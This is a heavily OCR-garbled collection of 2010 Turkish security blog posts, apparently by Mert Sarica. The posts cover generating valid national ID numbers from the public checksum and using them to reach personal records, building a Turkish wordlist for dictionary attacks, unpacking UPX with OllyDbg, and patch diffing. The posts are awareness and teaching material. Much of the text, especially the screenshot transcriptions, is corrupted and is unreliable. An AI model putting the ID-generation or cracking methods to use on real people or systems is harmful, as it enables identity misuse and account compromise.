Google arama motoru iizerinde "TCKN algoritmasi" anahtar kelimesi ile arama yaptigimizda dogrulama algoritmasinin bir ¢cok web
sayfasinda yer aldigini gorebilirsiniz. Web sayfalari lizerinde yaptigim ufak bir aragtirma neticesinde TCKN dogrulama algoritmasini
aciklayan en eski i¢erik 1 Eyliil 2008 tarihinde bu sayfada olusturulmus. Sayfada yer alan bilgiler 1s18inda ayn1 kredi kartinda oldugu
gibi gegerli bir TCKN iiretmek miimkiindiir.

Kredi karti numarasi ile TCKN arasindaki en biiyiik farklarin ne olduguna gelecek olursak;

* Luhn algoritmasina gore olusturulan bir kredi karti numarasinin size ait bir kredi kart1 numarasi olma ihtimali her zaman vardir
fakat kredi kart1 iizerinde yer alan son kullanma tarihi ve CVV2 bilgilerinin finansal islemlerde kontrol edilmesi sayesinde art
niyetli kisiler tarafindan sizin adiniza harcama yapilmasinin 6niine gegilmektedir.

e TCKN dogrulama algoritmasina gore olusturulan bir TCK numarasinin size ait bir numara olma ihtimali her zaman vardir fakat
kredi kart1 iglemlerinde kullanilan son kullanma tarihi ve CVV2 gibi ek kontrollerin aksine TCKN ile gerceklesen islemlerin
bazilarinda bu tiir ek kontroller bulunmamaktadir. Bu nedenle art niyetli kisiler bu sayfalar iizerinden size ait TCK numarasi ile
ozliik bilgilerinize (isim, soyad, yerlesim yeri) ulasabilmektedirler!

 Kredi karti numarasindan miisterinin kisisel bilgilerine halka acik bir uygulama, web servisi iizerinden erismeniz miimkiin degildir

fakat TCKN i¢in ne yazikki ayni1 seyi sdylemek miimkiin degil.

Durum bdyle oluncada asagidaki gibi haberler ile karsilaginca insan hi¢ sasirmiyor fakat asagidaki haberin digerlerinden bir farki
bulunuyor.

£ C | A % http://www.miliyet.com.tr/Yasam/SonDakika.aspx?aType=SonDakika&ArticeID=1272260&Date=09.08.2010&Kategori=turkiye&b=TC%
TC kimliklerinin algoritmasi ¢ézildii TC KiMLIK NUMARALARI NASIL DUZENLEND{?

Skandal! TC kimlik bilgilerinin algoritmasi ¢ézilldil. Gegtidimiz ay yakalanan 70 milyon T.C. Nifus ve Vatandasik igleri Genel Midirliga yetkilierinin “TC kimlik numaralarinda herhangi bir
vatandagin TC kimlik bilgilerini ele gegiren getenin bu nasil bagardidi ortaya gikti... algoritma yok” aciklamasini yalanlayan bilgilere erigen TIEV internet Birligi Komisyonu'nun Bagkan

Hakan Topuzoglu algoritmay! nasil cozdiklerini su sekilde anlattr
TC N“IHS e \."gtanttli_]gl}_k t§_[eri Ge..“et !.!iidijrtiiﬁii yetkvilileri,_ ““.mi.].rak.].n"..algommm “internette yer alan algoritmalarin birgodu kafa kanstinc: oldugu igin dncelikle program mantigini ortaya
o_lm_adlgrm ve quve!lmr l_:nr_srstem iizerine kur_l_nu oldugunu ileri s_umlu_gtu. Ur_aglian koyduk.
bilgiler hem Niifus Igleri'ni yalanliyor hem de dnlem alinmazsa sistemin yeni geteler
yaratacagini gdsteriyor. (istismar edilmemesi igin tiim algoritma diizenini yaymlamyoruz. )

Referans alinan kimlik numarasinin son 2 haneside belli bir oranda artigla (+16, +26, +36... gibi)
verilmig. T.C Kimlik numaralarinin 2 hanesi her zaman igin ¢ift sayidir.

Kimlik numarasinin orta hanelerine gz atinca, ayni oranda arbiglar burada da gerceklestirimigtir.
Akrabalk baglan bulunan kigilere ait TC kimlik numaralaninin ilk 3 hanesi ayni, sonraki 2 haneye hep +3
ilave edilerek gitmis, sonraki 2 hane hep ayni, sonraki2 hane ise -1 azatilarak gitmis. aptiimiz
caligmalar sonrasi da referans olarak alinan bir kimlik numarasindan diger tiim aile bireylerinin yani sira,
Tiirkiye Cumhuriyeti kimlik numarasina sahip olan tim kan badi olan kigilere ulasabilmektedir.

Uzerinde basit bir pariteyle hata bulma dzeliigi bulunmaktadir; ilk 10 rakamin toplaminin birler basamadgi,
11. rakami vermekte.

Aynca; 1, 3, 5, 7 ve 9. rakamin toplaminin 7 kati ile 2, 4, 6 ve & rakamin toplaminin 9 katinin toplaminin
birler basamadi 10. rakami; 1, 3, 5, 7 ve 9. rakamin toplaminin & katin birler basamadgi 11. rakami
vermekte.

BU BiLGILERLE NE YAPILABILIR?

TIEV internet Birligi Komisyonu, Mernis Projesi (Merkezi Nifus idare Sistemi) kapsaminda toplanan ve
arsivienen kimlik verilerinin calinarak, satimasina iligkin haber Gzerine bir aragtirma ekibi kurarak konuyu

arastirdi. yp— .
Sorunun cevabini Hakan Topuzoglu sbyle veriyor:

Konuyu aragtirmak Gzere kurulan ekipte Proje Sorumlusu olarak yer alan Samsun Temsilcisi Mustafa

Altnkaynak ve Komisyon Baskani Hakan Topuzodlu, yaptiklan arastrmalar sonucunda ulastiklan “Deviet dairelerinden, bankalara, sigorta sirketlerine, sadlk kuruluglarndan, editim kurumiarina kadar
verileri Habertaraf ile paylastr.... size ait her bilgiye ulasabilecekleri icin, farkh amaclarla kullaniabilir.”

istanbul polisi gectijimiz hafta, resmi ve yan resmi kurumlarin att yapilarinda bulunan kimlik bilgisi, AEQD"“T“_' bu kadar basit I.:lir.sisfemin yeniQen dﬁzil'lh’-_”me‘fe_ihfwﬂ_CLlfldl-lﬁl_-!l'lU b_E"I‘lEI'I TI?DLIZDﬁlLI.
telefon ve adres bigilerine erigerek 72 mityon Tiirkiye Cumhuriyeti vatandagina ait kigisel bilgileri guvenligimiz agisindan yeni bir di sart gl 5 sozlerine ekledi.

yiikledikleri programi satan sebekeyi cokerttidini aciklamigt. Cetenin 72 mityon kiginin kimiik bilgilerine
nasil ulagtij dzerined kafa yoran TIEV internet Biri§i Komisyonu, bu iglemin nasil yapidijini anlamak
icin vodun bir calsma sdrecinin ardindan TC kimlik numaralaninin alooritmasina ulast.
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Haberde TC kimliklerinin algoritmasinin ¢dziildiigline, algoritma ile ilgili olarak internet sitelerinde yer alan bilgilerin aynisina ve T.C.
Niifus ve Vatandaghk Isleri Genel Miidiirliigii yetkililerinin yaptigi "TC kimlik numaralarinda herhangi bir algoritma yok" agiklamasina
yer verilmis. Yukarda anlattiklarim 1518inda haberi okuyacak olursaniz neyin dogru neyin yanlis oldugunu ayirt edebileceginizi
varsayarak haber lizerine yorum yapma geregi duymuyor, art niyetli kisilerin TCKN iireterek kisisel bilgilerine nasil ulasilabilecegini
teknik detay vermeden gozler 6niine sermek ve bu sayede kredi kartt numarasindan daha degerli olan TCK numarasi ve kisisel bilgileri
cetelerin eline gegmis olan bir vatandas olarak ilgilileri daha gilivenli bir sistem olusturmalar1 adina goreve ¢agirmak istiyorum.

Oncelikle internet sitelerinde yer alan algoritmaya gére rastgele TCKN iireten bir program hazirladim ve bu programin kendi TCK
numarami ne kadar stire iginde {iretebildigine baktim ve yaklasik 40 dakika sonunda iirettigini gordiim.

1

. cikig igin CTRL-C tuglarina basin
TCKN numaran bulundu:
Baslangi¢ zamani: Sun Aug 15 11:25:56 2818
Bitiz =zamani: Sun Aug 15 12:88:88 2018

C:s\UszerssMert Desktop\TCKN>

Daha sonra iiretilen TCK numaramdan kisisel bilgilerime erismenin yolunu ararken ¢ok gegmeden bir devlet kurumu iizerinde yer alan
TCKN sorgulama uygulamast ile isim ve soyad bilgilerime ulasabildim.

ger .- |
€ C T hip:/MEER v

TC KIMLIK NO ILE SORGULAMA
L

DOKUM ALMAK I'QI'N TIKLAYINIZ. |

ADI MERT
SOYADI SARICA

ILK SOYADI

DOGUM TARIHI |

TC KIMLIK NO [——|

01.05.2004 TARIHINDEN ITIBAREN

Bunun diginda sorgulama sayfalarinda kesfettigim bazi eksikliklerin ve hatali tasarimlarin art niyetli kisilerin islerini daha da
kolaylastirabilecegini diisiiniiyorum bu nedenle konu ile ilgili olarak yetkililer benimle iletisime gecerlerse kendileri ile bu eksiklikleri
paylasabilirim.

T.C vatandas1 olarak kisisel bilgilerime erisilmesine imkan tanidig igin hassas bilgi smifina giren TCK numaramin devletin tim
organlarinda ayn1 hassasiyet ile saklanmasi ve Luhn algoritmasi gibi halka acik bir algoritma ile kontrol edilebilmesi sebebiyle sadece
benim bildigim ve sahip oldugum ek bilgiler ile kontrol edilerek (kredi karti islemlerindeki son kullanma tarihi ve CVV2 kontrolleri gibi)
ilgili sistemler/sorgular iizerinde yer alan iglemlerimin gergeklestirilebilmesini temenni ederim. Aksi durumda benzer haberler okumaya
devam edecegimizden hig siiphem yok.

Bir sonraki yazida goriigmek dilegiyle simdiden herkesin 30 Agustos Zafer Bayram'ini kutlarim.

Kirilasi1 Zayif Sifreler

Source: https://www.mertsarica.com/kirilasi-zayif-sifreler/
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By M.S on August 13th, 2010
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Kullandiginiz sifrenin kirilmasi, tahmin edilmesi ne kadar zor ise kullandiginiz sistem o kadar giivendedir sdziiniin ne kadar dogru
oldugunu zaman gectikge anliyorum. Gerek gergeklestirdigim genis kapsamli penetrasyon testlerinde olsun gerek yerinde denetimlerde
olsun muhakkak raporumda zayif sifreler ile ilgili bir bulgu yer aliyor.

Kurumunuzun bilgi giivenligi politikas1 kusursuzda olsa, ¢alisanlariniz eksiksiz olarak bilgi giivenligi farkindalik egitimine katiliyorda
olsalar, sistemler {izerinde kullanicilariniz kompleks sifre kullanmaya zorlaniyorda olsalar, insanlar sifre olarak sozliikte yer alan
kelimeleri se¢gmeye devam ediyorlar ¢ilinkii giindelik hayatta o telasla, yogun is temposunda hatirlayacak o kadar ¢ok sey dururken
sistemler el verdigi siirece o biiyiik, kii¢iik harflerden, sayilardan ve 6zel karakterlerden olusan sifreleri kullanmamak i¢in her yolu
deniyorlar. E durum bdyle oldugu siirece zayif sifre kullanilan tiim sistemler bir sekilde istismar edilerek art niyetli kisilerin hedefi
olmaya devam ediyor.

Zayif sifreler sistemlerin vazgecilmez bir parcasi oldugu igin penetrasyon testi gerg¢eklestiren bilisim giivenligi uzmanlarinin ellerinin
altinda bu sifreleri art niyetli kisilerden 6nce sozliik saldiris1 (dictionary attack) ile tespit etmek i¢in 6zenle hazirlanmis s6zliikleri bulunur
ve zaman zaman bu sozliikleri giincelleme ihtiyaci duyarlar. ihtiyag duyarlar ciinkii penetrasyon testlerinde ne kadar ¢ok basit sifre tespit
ederlerse bunlarin art niyetli kisilerce tespit edilmelerinin dniine gectiklerini iyi bilirler.

Yine periyodik bir sozliik giincelleme zamaninda sézliigiimde yer alan Tiirkge kelimelerin azlig1 dikkatimi gekti. Ana dilimiz Tiirkce
iken sozliiglimde yer alan Tiirkge kelimelerin seyrekligi icime pek sinmiyordu. Elektronik ortamda Tiirk¢e kelimeleri nereden bulurumda
sozligiimii kolayca giincelleyebilirim sorusuna yanit ararken aklima hemen etrafta yaygin olarak kullanilan Moonstar sozliik geldi.

Moonstar sozligii indirip kurduktan sonra kelime veritabanina géz atmaya karar verdim. Kurulum klasorii iginde yer alan Dic.ssm
dosyasini Dic.mdb olarak kaydettikten ve MDBViewer programi ile i¢ine goz attiktan sonra i¢inde toplam 77368 Tiirk¢e kelimenin yer
almasi sayica bana yeterli gelmedi.

Bagka nereden bulabilirim diye tirmalamaya devam ettigimde ise aklima giizel Tiirk¢e'mizi katletmemek i¢in (sarz ve felan diyen yurdum
insanini bogasim geliyor :)) sik¢a ziyaret ettigim Tiirk Dil Kurumu'nun Biiyiik Tiirkge SozIiigi geldi.

Unlii Python programcist M.S'nin "Aklima gelen IDE (Integrated development environment)'me gelsin." sdziinden yola ¢ikarak Biiyiik
Tiirk¢e Sozliigiinde yer alan Tiirkge kelimelerden online olarak sozliik olusturan TDK.py adinda ufak bir program hazirlamaya karar
verdim :)

Program kisaca sorgu sonrasinda sunucudan donen ve i¢inde kelimelerin yer aldigi html yanit1 diske kaydediyor. Tiim yanitlar diske
kayit edildikten sonra Search and Replace programi yardimi ile tiim html dosyalarinda (*.html) yer alan &nbsp; ve </a></td> html
taglerini \n ile replace ederek grep'lenebilir formata getirdim ve son olarak asagidaki komutlar dizisini ¢aligtirarak sozliigii son haline
getirmis oldum.

egrep -e "a-z]+[M\n]$" *.html | cut-d " " -f 1 | sort | uniq -i | cut -d ":" -f 2 > sozluk.txt

Sozliik 190774 adet Tiirkge kelimeden olusuyor. Tiirk¢e harflerin kimi sistemde kabul edilmedigini veya soruna yol acabildigini goz
onilinde bulundurarak Tiirk¢e harflerden arindirilmis bir kopyasinida olusturdum ve her ikisinide zip dosyasinin igine koydum.

Her ne kadar sozliigiin kalitesini degerlendirebilmek igin yerli bir kaynaga ihtiyag duymus olsamda yokluk nedeniyle s6zliigii zamaninda
hack edilmis ve internette yaymlanmis, kirilmis yerli ve yabanci sifrelerden olusan phpbb sifreleri (184389 adet) lizerinde denedigimde
2036 tanesinin sozliigiimde yer aldigini gérdiim ve sonug benim i¢in tatminkar oldu.

Sonug olarak sizde benim gibi penetrasyon testlerinde sozliik saldirisi gergeklestirmek i¢in kullaniglt bir Tiirkge sozliige ihtiyag
duyuyorsaniz olusturdugum sozligiin kopyasina buradan ulasabilirsiniz.

Bir sonraki yazida goriismek dilegiyle herkese iyi haftasonlar1 dilerim.

Pandora’nin Kutusu Nasil Acilhir ?

Source: https://www.mertsarica.com/pandoranin-kutusu-nasil-acilir/
By M.S on August 5th, 2010

=3,

Zararl1 yazilim analistini nedense merakli Pandora'ya benzetirim ¢iinkii isi geregi kétiiliik ile dolu olan o kutuyu (paketlenmis zararlt
yazilim) agarak kotiiliigiin tiim isletim sistemine hakim olmasina neden olur fakat efsanenin aksine kutuyu kapatmaya ¢alismaz ¢ilinkii
analistin tek amaci zararl1 yazilimi bastan sona analiz edebilmektir.

Daha 6nceki yazilarimda da belirttigim tizere art niyetli kisiler zararli yazilimlarin disk {izerinde antiviriis ve benzer koruma yazilimlari
tarafindan tespit edilmesini ve ayrica zararli yazilimin analiz edilmesini zorlastirma adina paketleyici (packer) yazilimlar kullanirlar.
Fakat bilinenin aksine bu yazilimlarin asil kullanim amaci hedef programin diskte kapladig yeri azaltmaktir ¢linkii bu yazilimlar ile
paketlenen programlarin boyutunun yari yariya azaldigi bilinmektedir.

Hem iyi hemde art niyetli kisiler arasinda en ¢ok tercih edilen paketleme yazilimlarinin basinda UPX gelir. Art niyetli kisiler arasinda

tercih edilmesinin en biiyiik nedenleri arasinda iicretsiz olmasi ve ¢ogu zararl kod paketleyici yaziliminin UPX yazilimini igeriyor
olmasidir.
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UPX veya herhangi bir paketleyici yazilim ile paketlenmis bir programin analiz edilebilmesi igin dncelikle paket iginden ¢ikartilmasi
gerekmektedir. Ornek olarak UPX ile paketlenmis bir programi ele alacak olursak bu programi analiz edebilmek igin yapilmas1 gereken
ilk is ya debugger (ollydbg) ile ¢alistirmak yada paket agma isini otomatik olarak gerceklestiren araglardan faydalanmak olacaktir fakat
bu araglar paketleme yazilimlarin yeni siiriimlerinin yayinlanmasindan sonra beklentileri karsilayamadiklar1 i¢in ¢ogu zaman debugger
ile calistirmak ve analiz etmek gerekmektedir fakat ben iki yoldan da kisaca bahsedecegim.

Ornek olarak UPX ile calc.exe (windows hesap makinasi) programini sikistirdigimizda programin boyutunun %49 oraninda ufaldigini
gorliyoruz.

C:“Documents and Settings“Administrator~Desktop>upx calc.exe

114688 > L6832 49 55% win3i2/pe calc.exe
Packed 1 file.

calc_upx.exe programini Ollydbg ile actigimiz zaman normal programlarda karsilastigimiz fonksiyon prologue'nin aksine PUSHAD ile
karsilasiyoruz. PUSHAD tiim register degerlerini stack'e kopyalamaya yaramaktadir ve UPX ve ASPack gibi paketleme yazilimlarinda
PUSHAD sonrasinda paketlenmis veri agilir ve daha sonrasinda POPAD ile daha 6nce stack'e kaydedilmis olan degerler register'a geri
kopyalanir. Paketlenmis programlarda EP (entry point) paketin agilmasini saglayan fonksiyonu isaret eder ve paket agildiktan sonra OEP
(original entry point) sayesinde program c¢aligabilmesi i¢in ilgili boliime (section) yonlendirilir. Amacimiz OEP'i bulmak oldugu i¢in
ve programin ¢alisabilmesi igin dncelikle paketin agilmasi gerektigi ve ardindan ilgili boliime gitmesi gerektigi icin OEP'in bilinmesi
gerekmektedir. Bunun i¢in PUSHAD ile saklanan ESP register'ia hardware on access breakpoint koyarsak, POPAD komutu ile eninde
sonunda bu deger registera geri kopyalanacagi i¢in breakpoint sayesinde POPAD'e kisa yoldan gidebilir ve OEP'i tespit edebiliriz.

DliyDbg - calc_upx.exe - [CPU - main thread, module cale_upx]

;E;He View Debug Plugins Options Window Help < :
S{ux] wjn| wifsf ¥y o «f LjE(mjriwiajc|/x|s/r].|s]| =52
_____ 1o _. - .____ e e e e o e
DGR

Backup

Copry v

Binary v

Search for b Memory, on wike

Follow D'WORD in Disassambiler Harde

T achvare, on SCCess
Fi“:“ OWORC I Due Hardware, on wiite ] Byte

Hardware, on execution
" T Dword

28 66 48 B2 FF FF FF FF| (fH
D8 90 83 7C 88 79 81 M
80 00 00 04 00 0 00

00 00 80 08 DO OC 82
80 00 9 00

OEP!'i tespit ettikten sonra Ollydbg eklentisi olan Ollydump ile paketi agilmis olan programi (calc_upx.exe) diske kayit (dump) edebiliriz.
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calo_ups . B1001EER
(= TN cal&:‘w.m‘lzm
HOR EBK,
FusH gk ]
nOU EDI, DWORD PTR DS: [ 10810291 kerne 132, GetModu leHandlel
oL Eot
GF WORD PTR DS1[ERX],ER40
I SHORT calc uow.91B12462 &
HOU ECK, WORD PTR D51 [ERK+3C] 28 ntd
0D ECH, B EIF 81012475
GF DWORD FTR 081 [ECX], 4550 i ES 0
JHZ SHORT calc_upw.Bl8]2462 £
aeca JOUZ ERX UORD PTR 053 [EC4181 :
o7 1F JE SHORT cale_ute.818124CA OllyDump - calc_upx.exe
30 seeceses | [NP En,2ee
ST A,
<EB 27 JIF SHORT cal . 810124be :
o o o L st [ s [
o N .
o 20000 [12a7s Gt EIP a OEP
©| 3999 Fooe000d | OW FTR DS: [ECX+F81, Ertry Pont -» Modiy et EIP as OE Cancel
<EB 0E TP DAY ca oot BIDIIADE s —J
57 M QF Dvoro PTR Os: [ECP4] 0
S SOR? cllel o 101 a6 BaseofCode: [1ADN)  BaseoiDaia [21000
3732, Eeooeocs g"nug‘:n PTR DS: (ECH+ES], EBX I¢ &
BI4E E4 MOV DMORD PTR 5; (EB®-101, ERN ¥ Fix Raw Size & Oifset of Dump Image FST 4030
&350 FC 10 NGFO TR 554 EEbP—4), £ FST 4020
FE1€ ociz0001 | CRLl uosn PTR oSk (1001206 | mavert. _sat_son_tyoe j""“" Vitual Size "'"'"':J"'J"' Paw Size R“"E;'J': ?"m ;
300 10600 DNGRD PTR \EFFFFEFE PXD 00013000 0OOOT 00019000 0000Y 0000060
g0 ia?"!gi AR R pr;r‘;ﬁéé}?}g}ﬂ e it UP{1 00007000  0ODIAODD 00007000  DODTAQDD  E0O00040
me“.g] muumnn_wn PTR‘D%:(}MM} revort._n_frode mic 00007000 00021000 00007000 0021000 CO0C0040
oy D51 LER), ECX 4 v |
. ~
™ Rebuld import
(% Method - Seaich JMPIAP] | CALLIAPY] in memory image ;
™ Method2 : Search DLL & APY name string in dumped file
- v

Diske kayit edilmesiyle Import adres tablosu (import edilen modiiller ve fonksiyonlar) bozulan programi analiz edebilmek ve tekrar
calistirabilmemiz i¢in impREC programui ile import tablosunu diizelttikten sonra amacimiza ulagmig oluruz.

-2 Import REConstructor v1.7c Final - MackT/uCF

Altach to an Active Process
Ic:\documents and zettingstadministratoridesktophcalc_upx.exe [00000CE4) _vj Pick DLL || ‘

Imported Functions Found

- advapi32.dil FThunk: 00001 000 MbFunc: 3 [decimal: 3] validYES Shaw Invalid " Options "
- gdi3Z2.dll FThunk: 00001 010 NbFunc: 3 [decimal: 3] validYES

- kemel32.dll FThunk: 00001020 MbFunc:1E [decimal: 30) validYES

- shel32 dil FThunk:00001 09C NbFune:1 (decimal 1] valid YES Shaow Suspect || Eeatlog ||

- uzerd2 dll FThunk: 00001 044 MbFunc: 45 [decimal: B9) validYES
- mavert dll FThunk: 00001 1BC MbFune: 14 [decimal: 28] walid:YES e || Ahout "
Clear Import " Exit ||

14T Infos Meeded ————
OEP IDDD‘I 2475
AutoSearch ||

Fiviés 00001000

Size IDDDDD228

Mew Import Infos

D +A5Cl+LOADER]

Ry [00000000  Size (00000908

W Add New Section

Log
Module loaded: c:windowshsystem32hshell32.dI A Load Tree " Save Tree ||
Module loaded: c:windowshsystern324shivwapi.dl =
Module loaded: c:hwindows'systern32yimm32.dil
Module loaded: c:hwindowswinsxshwBE_microzoft windows, common-controls_BR35bE41 44 Fix Dump ||
Getting aszociated modules done.
Image Base: 01000000 Size: 00022000

Original IAT BWA found at: 0000120C in Section A4 00001000 Size:0001 3000
1AT read successully.

If pots wizh tohelp o
and bug fixing
f

ue developing
- please vigit our

Current imports:
i !

2 btk boitsdpon;
decim. valid module(s] (adde: A i

|ile

2008.03.10

Tabiiki UPX veya benzer yazilimlar ile paketlenen programlar paketten ¢ikartmak i¢in her defasinda bdyle ugrasmamiza gerek yok
¢linkii piyasada bu yazilimlar ile paketlenmis programlari otomatik olarak ¢dzen programlar mevcut. Ornek olarak ReversingLabs firmast
tarafindan hazirlanmis olan deUPX programini iicretsiz olarak temin edebilirsiniz.
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B[ RLIdeUPX |

@ TitanEngine2

from reversing labs’

RLIdeUPx 1.3 - 3.x
[Filenarme] C:\Docurnents and Settings\Adrninistrator\Deskt Browse

Unpack execution messages

[x] Import at 01001180, ~
[x] Import at 01001184,

[x] OEP found: 0x01012475,

[x] Process dumped.

[x] IAT begin at 0x01001000, size 00000220,

[%] Imports fixed.

[x] File has been realigned.

] File been unpacked to C:\Documents and SettingsiAdministrat

Programlarin yani sira internette bu isi otomatize etmek ve kendi paket agma aracinizi hazirlamak igin kiitiiphaneler de bulabilirsiniz.
Mesela Blackhat konferanslarinda bol bol sunum yapan Reversinglabs firmasmin gelistirdigi TitanEngine kiitiiphanesini duymus
olabilirsiniz. Duymadiysaniz Titanengine, i¢inde entegre debugger, disassembler bulunduran ve yukarda manuel olarak gergeklestirilen
iglemleri otomatik olarak gerceklestirmenizi saglayan ve 400 fonksiyonu kullanmaniza imkan taniyan oldukga basarili bir kiitliphanedir.
Zararl1 yazilim analizi ile yakindan ilgileniyorsaniz bu kiitiiphaneye goz atmaniz1 siddetle tavsiye eder, bir sonraki yazida goriismek
dilegiyle herkese iyi haftasonlar1 dilerim.

Sah Sallanir

Source: https://www.mertsarica.com/sali-sallanir/
By M.S on July 27th, 2010

e

Patch Tuesday yani her aym 2. Sali giinii, Microsoft firmasi tarafindan {irlinlerine ait giivenlik yamalari yayinlanir. Kimileri igin bu
yamalardan bazilar1 bilgisayarin yeniden baslatilmasini gerektirdigi igin can sikan gereksiz giincellemelerken, kimileri i¢in test edilmesi
ve daha sonra istemci isletim sistemlerine kurulmasi gereken ¢ileli bir is yiikii demektir. Fakat kimileri i¢inse bu giin kazang kapisini
aralamak anlamina gelir.

Istemci tarafli uygulamalardaki (6rnek: winzip, adobe reader, winrar vb.), isletim sistemlerindeki giivenlik zafiyetlerini istismar etmeye
yarayan istismar paketlerini (6rnek: MPack, CRiIMEPack vb.) gelistiren art niyetli kisilerin amaglar1 yaymlanan giivenlik zafiyetini
istismar eden kodu derlemek ve paketlerini giincellemektir. Giincellenen her paket yeralt1 diinyasindaki miisterilerine pazarlayacaklari
yeni bir siiriim oldugu i¢in 2. Sali giinii yayinlanan yamalar {izerinde hummali bir ¢aligma baslar.

Bu ¢alisma i¢in dncelikle bu kisilerin bu yama ile gilincellenen paketi tespit etmeleri gerekmektedir. Microsoft Destek sayfasi bu
bilgiyi edinmek igin en kolay ve zahmetsiz yoldur. Ornegin bu sayfada MS10-005 anahtar kelimesini aratacak olursaniz karsimza ¢ikan
sonuglarda yer alan sayfalarda bu yama ile hangi dosyanin (yazilimin kendisi olur veya ilgili DLL dosyasi olur) giincellendigi bilgisine
kolayca erigebildiginizi goreceksiniz.

Windows XP'nin tiim destekl x86 tabanh siiriimleri
File name File version F_ile Date Time Platform = SETES
size requirement branch
Mspaint.exe | 5.1.2600.3660 | 343,040 | 16-Dec- 12:58 | x86 SpP2 SP2GDR
2009
Mspaint.exe | 5.1.2600.3660 | 343,040 | 16-Dec- 13:37 | x86 5pP2 SP2QFE
2009
Mspaint.exe | 5.1.2600.5918 | 343,040 | 16-Dec- 18:43 | x86 SP3 SP3GDR
2009
Mspaint.exe | 5.1.2600.5918 | 343,040 | 16-Dec- 18:27 | x86 S5P3 SP3QFE

2009

Paketi tespit ettiler peki ya sonra ? Daha sonra yapmalar1 gereken ise programin (mspaint.exe) giincellenen siiriimii ile eski siirimiinii
assembly seviyesinde karilagtirmak ve farklari ortaya ¢ikarmak olacaktir. Yama gegilmis bir Windows isletim sistemi lizerinde yazilimin
eski siirlimiinii elde etmek i¢in ilgili yamay1 denetim masasindaki program ekle/kaldir meniisiinden kaldirarak elde edebilirsiniz. Tabii
yamay1 kaldirmadan 6nce giincel yazilimin bir kopyasini almay1 unutmayin.

Yamay1 kaldirdiktan sonra eski siirliim ile yeni siiriimii kiyaslamak ic¢in yaygin olarak kullanilan iicretli ve iicretsiz 3 programdan
faydalanmaktalar. Bunlar sirastyla, Zynamic’in BinDiff (iicretli), eEye’in DarunGrim, Tenable’in PatchDiff programlaridir. Bu ii¢
programda IDA Pro yaziliminin eklentisi olarak calistiklart igin IDA PRO'™un mutlaka isletim sistemi iizerinde kurulu olmast
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gerekmektedir. 3 programinda ¢aligma mantig1 birbiri ile hemen hemen ayni1 fakat DarunGrim yazilimimin daha anlasilir oldugunu not
olarak belirtmek isterim.

Hangi programi kullanirlarsa kullansinlar bu programlar sayesinde yama ile hangi fonksiyonda degisiklik yapildigini tespit etmeleri ok
uzun siirmez. Bunun i¢in yapmalar1 gereken DarunGrim yaziliminda File meniisiinden New Diffing from IDA'y1 segmek ve Source igin
eski siirlimii, Target i¢in yeni siiriimil ve Output i¢in ise herhangi bir klasorii belirtmek yeterli olacak ve DarunGrim gerisini halledecektir.
Analiz tamamlandiktan sonra DarunGrim size eski siirlim ile yeni siiriimde yer alan her bir fonksiyon i¢in eslesme degerini (Match Rate)
gosterecektir. %100 eslesen bir fonksiyonun degismedigini daha az yiizdeler ise fonksiyonda degisiklik oldugunu isaret etmektedir.
Kontrol akis1 izlendiginde sar1 renk bir eski siiriim ile giincel siiriim arasinda bu blogun degistigini, kirmiz1 ise yeni bir blok eklendigini
belirtmektedir.

® C:\Documents and Settings\Administrator \DeskiopWs10-005\0utput\ms10-005. dgf
Ele  Yew Gaphs Help

sub_1030FED sub_1030FED
1030FED & 1030FED e
mov adi, ad mov e, ek
push ebp push ebp
mov ebp, esp mov ebp, esp
mov eax, [ebpearg C] mov eax, [sbpearg C]
fest eax, sax test eax, eax
Iz short loc_1030F7C iz short loc_1030F7C
/ Y / Y
r! ;% / LY
| [ 1030F79 | |' [ 1030F79 ]
and dword pir [eax], 0 1 and dword pr [eax], 0 1
4 1 y 4
1030F7C 1030FTC
push esi push est
mov esi, [sbpearg 8] mov ezl [ebpearg B)
osi, o8l test ez, esi
inz short loc_1030F88 pushed
7 iz short loc_1030FBC
\
5 / \
1030F28 f
J v
push ebx
mov ebix, [sbpearg_0) ~ £ >
List Of Matches
Functions | Blocks |
Orignal [ Unmatc... | Patched [ Unmatched | Dfferent | Matched | Match Rate -
W sub_1090FE0 sub_1030F6D 4 B5%
D sub_tozoesc 2 sub 10ZEABS [ 0 F-
O closeThemeData 0 CloseThemeData 0 0 1 100%
OlopenThemenata 0 OpenThemeData 0 0 1 100%
O orawThemesadground 0 DrawThemeBackground 0 0 1 100%
Doc_toa7eea 0 loc_1037404 0 o 2 100%
Dtec_to378re (1] loc_1037908 (1] 0 100%
Dliec_1037886 0 loc_t1037886 0 0 1 100%
Ofunc_t037725 0 func_ 1037735 [} o 1 100% -

Son olarak assembly kodunu dikkatlice inceleyerek hatali, zafiyet barindiran kodu tespit eden bu kisiler istismar aracini gelistirdikten
sonra derleyerek paketlerine eklerler. Yamasini ge¢meye tisenen kisiler/kurumlar ise giin gegmeden art niyetli kisilerin hedefi olurlar.
Siz siz olun her ayin 2. Sal1 glinii zamanla yarisan art niyetli kisilerin hedefi olmamak i¢in isinizi giicliniizii bir kenara birakarak giivenlik
yamalarint gegmeye bakin...

Neden Tersine Miuhendislik ?

Source: https://www.mertsarica.com/neden-tersine-muhendislik/
By M.S on July 6th, 2010

e

Eskiden tersine miihendislik nedense bana c¢oook uzak gelirdi. IDA Pro uygulamasini ilk kurup calistirdigimda her yerde bir
buton oldugunu goriince "hi¢ isim olmaz" diyerek kapattigimi hatirliyorum ama aradan gegen zaman sonrasinda simdi masaiistiine
bakiyorumda vazgecilmez kisayollardan bir tanesi oluvermis ve "hep isim olmus" :)

Neden bu kadar insan assembly gibi anlasilmasi zor bir dil ile ugrasiyor, neden saatlerini tek bir fonksiyonun ne is yaptigin1 anlamak
icin harciyor kisaca neden tersine miihendislik ? Hemen aklima gelenleri siralayip kisaca agiklayayim;

¢ Assembly 6grenmek i¢in - Bilmeden nasil 6grenilir demeyin. Debugger ile programlari izleye izleye emin olun birseyler 6greniyor
ve komutlarin ne ig yaptigini az ¢ok anlayabiliyorsunuz ve iizerine giizel bir kitap okudugunuz zaman taslar yerine oturuyor ve
bir bakmigsinizki matrixi yorumlar olmussunuz.

* QGizli sifreleri, arka kapilar tespit etmek i¢in - Zaman zaman programlardaki gizli meniilere erigsmek igin programi hazirlayanlar
dokiimantasyonda yer almayan gizli fonksiyonlara programlarinda yer veriyorlar ve kaynak kodu agik olmadig1 i¢in bunun sadece
kendileri tarafindan bilinecegi yanilgisina disiiyorlar ve eninde sonunda tiim diinya bunu tersine miihendislik ile ugrasan bu
merakli insanlar sayesinde duyuveriyor.

¢ Dogrulama mekanizmalarini agmak i¢in - Daha 6nce bu 6rnegi vermigmiydim hatirlamiyorum fakat bir zaman sifreleme anahtari
